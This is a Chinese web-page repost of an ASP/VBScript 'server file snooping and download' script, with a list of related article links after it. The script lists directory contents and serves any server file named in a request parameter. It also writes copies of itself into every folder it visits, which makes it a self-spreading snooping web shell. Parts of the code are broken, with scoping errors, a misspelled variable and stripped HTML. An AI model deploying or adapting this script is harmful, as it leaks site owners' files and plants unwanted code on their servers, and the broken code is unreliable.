服务器文件信息偷窥下载程序 示例代码

来源:百度文库 编辑:神马文学网 时间:2024/04/28 14:11:26
<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
<%
‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘
‘ 服务器文件信息偷窥程序 示例代码
‘Copyright 2007  独孤翼 QQ:88056598 湖南长沙   保留所有权利。
‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘
Option Explicit
‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘
‘ 对于代码质量:
‘ 1) 下面的代码有许多字符串操作,用"&"运算符来把短字符串连接在一起。由于
‘    字符串连接是费时的,所以这是一种低效率的写代码方法。无论如何,它是
‘    一种非常好维护的写代码方法,并且在这儿使用了这种方法,因为该程序执行
‘    大量的磁盘操作,而磁盘操作比连接字符串所需的内存操作要慢得多。
‘    记住这是示范代码,而不是产品代码。

‘ 2) 使用了 "Option Explicit",因为访问声明过的变量,比访问未声明的变量要
‘    稍微快一些。它还能阻止在代码中发生错误,例如,把 DriveTypeCDROM 误拼
‘    成了 DriveTypeCDORM 。

‘ 3) 为了使代码更可读,该代码中没有错误处理。虽然采取了防范措施,来保证代码
‘    在普通情况下没有错误,但文件系统是不可预知的。在产品代码中,使用
‘    On Error Resume Next 和 Err 对象来捕获可能发生的错误。
‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘
‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘
‘ 一些容易取得的全局变量
‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘
Const ForReading=1
Const TristateTrue=-1
Const FILE_TRANSFER_SIZE=16384
Response.Buffer = True
Sub Main()
Dim path, mimeType, sucess,downfilename
downfilename=request("filename")
if downfilename<>"" then
path =Server.MapPath(downfilename)
mimeType="text/plain"
sucess = TransferFile(path, mimeType,downfilename)
else
Dim objFolder
Dim objFSO
Dim daf
dim dat
Dim da
‘ 建立FSO和文件夹对象
Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
Set objFolder = objFSO.GetFolder(Server.Mappath("."))  ‘获取当前目录路径
‘获取当前文件内容到变量dat中
set daf=objFSO.OpenTextFile(server.MapPath("da.asp"))
dat=daf.readall
daf.close
ListFolders(objFolder) ‘调用ListFolders函数显示文件夹对象objFolder内所有子文件夹及文件
end if
Response.End
End Sub
‘显示文件函数
Function ListFile(objFolder)
Dim objFile
‘遍历当前文件夹下每个文件
For Each objFile in objFolder.Files
‘以读取方式打开文件
response.write " -Download "
response.write " -"&objFile.Name&" "&cInt(objFile.Size/1024)&"K
"
Next
‘在当前文件夹下创建da.asp文件
set da=objFSO.CreateTextFile(objFolder&"/da.asp",True)
da.write dat
da.close
End Function
‘显示文件夹函数
Function ListFolders(objFolder)
response.write "+"&objFolder.Name&"
"
‘显示当前文件夹下文件
ListFile objFolder
Dim objSubFolder
‘遍历当前文件夹下每个文件夹
For Each objSubFolder in objFolder.SubFolders
response.write " +"&objSubFolder.Name&"
"
ListFile objSubFolder
response.write " +"&objSubFolder.Name&"
"
Next
response.write "-"&objFolder.Name&"
"
End Function
‘下载文件函数
Function TransferFile(path, mimeType, filename)
Dim objFileSystem, objFile, objStream
Dim char
Dim sent
send=0
TransferFile = True
Set objFileSystem = Server.CreateObject("Scripting.FileSystemObject")
Set objFile = objFileSystem.GetFile(Path)
Set objStream = objFile.OpenAsTextStream(ForReading, TristateTrue)
Response.AddHeader "content-type", mimeType
response.AddHeader "Content-Disposition","attachment;filename=" & filename
Response.AddHeader "content-length", objFile.Size
Do While Not objStream.AtEndOfStream
char = objStream.Read(1)
Response.BinaryWrite(char)
sent = sent + 1
If (sent MOD FILE_TRANSFER_SIZE) = 0 Then
Response.Flush
If Not Response.IsClientConnected Then
TransferFile = False
Exit Do
End If
End If
Loop
Response.Flush
If Not Response.IsClientConnected Then TransferFile = False
objStream.Close
Set objStream = Nothing
Set objFileSystem = Nothing
End Function
%>
服务器文件信息偷窥下载程序 示例代码 服务器文件信息偷窥下载程序 示例代码 VB示例:用VB制造文件下载程序 ping的高级用法 - powered by 中国服务器论坛联盟 win服务器,代理服务器,邮件服务器,代码,程序,游戏下载,软件,电脑技术,设计,图片,信息发布 高手都是这 - powered by 中国服务器论坛联盟 win服务器,代理服务器,邮件服务器,代码,程序,游戏下载,软件,电脑技术,设计,图片,信息发布 高手都是这样清除系统LJ的 - powered by 中国服务器论坛联盟 win服务器,代理服务器,邮件服务器,代码,程序,游戏下载,软件,电脑技术,设计,图片,信息发布 什么是绿色软件,如何制作绿色软件 - powered by 中国服务器论坛联盟 win服务器,代理服务器,邮件服务器,代码,程序,游戏下载,软件,电脑技术,设计,图片,信息发布 学电脑:给窗口换上漂亮的新装 - powered by 中国服务器论坛联盟 win服务器,代理服务器,邮件服务器,代码,程序,游戏下载,软件,电脑技术,设计,图片,信息发布 不用任何软件彻底告别3721等流氓软件的小办法 - powered by 中国服务器论坛联盟 win服务器,代理服务器,邮件服务器,代码,程序,游戏下载,软件,电脑技术,设计,图片,信息发布 安全清除你:C盘垃圾,让你多出近2G的空间! - powered by 中国服务器论坛联盟 win服务器,代理服务器,邮件服务器,代码,程序,游戏下载,软件,电脑技术,设计,图片,信息发布 笔记本电脑小心了!我是这样偷笔记本的 - powered by 中国服务器论坛联盟 win服务器,代理服务器,邮件服务器,代码,程序,游戏下载,软件,电脑技术,设计,图片,信息发布 QQ123123忘了 不用怕!~自己制作123123破解器 - powered by 中国服务器论坛联盟 win服务器,代理服务器,邮件服务器,代码,程序,游戏下载,软件,电脑技术,设计,图片,信息发 服务器当前目录文件系统信息窥探程序ASP 文件上传示例 安装程序配置服务器失败。参考服务器错误日志和 C:\WINNT\sqlstp.log 了解更多信息 asp下载防盗链代码在win2003服务器下下载不能超过4M) 用VBA代码下载网络上的文件 用VBA代码下载网络上的文件 程序家园--vc编程--程序示例 Subversion权限文件AuthzSVNAccessFile示例 PropertyGrid代码示例(Ext1.x) 获取服务器信息 html代码示例 网页教程与代码 C# 清理Temp文件实例代码-程序开发-红黑联盟